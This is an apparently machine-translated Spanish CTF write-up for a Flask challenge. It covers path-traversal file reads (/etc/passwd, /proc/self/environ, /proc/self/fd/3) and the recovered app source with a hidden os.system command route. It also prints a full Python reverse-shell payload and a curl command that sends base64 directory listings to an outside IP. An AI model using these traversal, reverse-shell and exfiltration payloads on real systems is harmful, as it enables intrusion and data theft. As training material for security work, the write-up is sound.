Puntos de conocimiento
- Lectura de archivos
- Descriptor de archivo
- Auditoría de código Python
- Concha inversa
WP
En términos generales, sigue siendo un tema relativamente simple. El lugar tóxico es la URL. Estoy atascado en esa URL. Realmente pensé que era una SSRF. No quería intentar leer el archivo directamente en el pasado. no esperaba que fuera verdad.:
?url=../../../../../etc/passwd
Puedes leer cosas. Aunque también intenté usar el archivo, pero no leí nada, parece que está filtrado o tengo un conocimiento básico deficiente.
Puede leer el archivo después de leerlo, y luego encontrará que leyó la bandera directamente. . . . :
?url=../../../../../flag
Es un problema ambiental El archivo de la bandera está en otros lugares durante la competencia de la Copa Netding.
La forma normal de pensar es definitivamente leer estos:
/proc/self/environ
/proc/self/cmdline
Puedes leerlo python2 app.py
, luego leámoslo/proc/self/cwd/app.py
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
Una pequeña auditoría del código, o la inspección del descriptor de archivo, la clave se puede /proc/self/fd/3
leer en él, y luego pasar la contraseña y el shell, y se puede ejecutar. Pero el problema es que no hay respuesta Hay dos formas de responder a esta pregunta. Uno es shell inverso directo de Python:
?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Luego, simplemente lea la bandera directamente:
hay otro tipo de caparazón inverso curl:
?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=curl 118.***.***.***/`ls /|base64`
Debido a que hay una nueva línea en el resultado, solo el contenido de la primera línea se puede mostrar en el registro, por lo que debe cifrarse una vez con base64:
puede obtener el contenido de ejecución del comando completo cifrándolo de nuevo, y puede conseguir la bandera.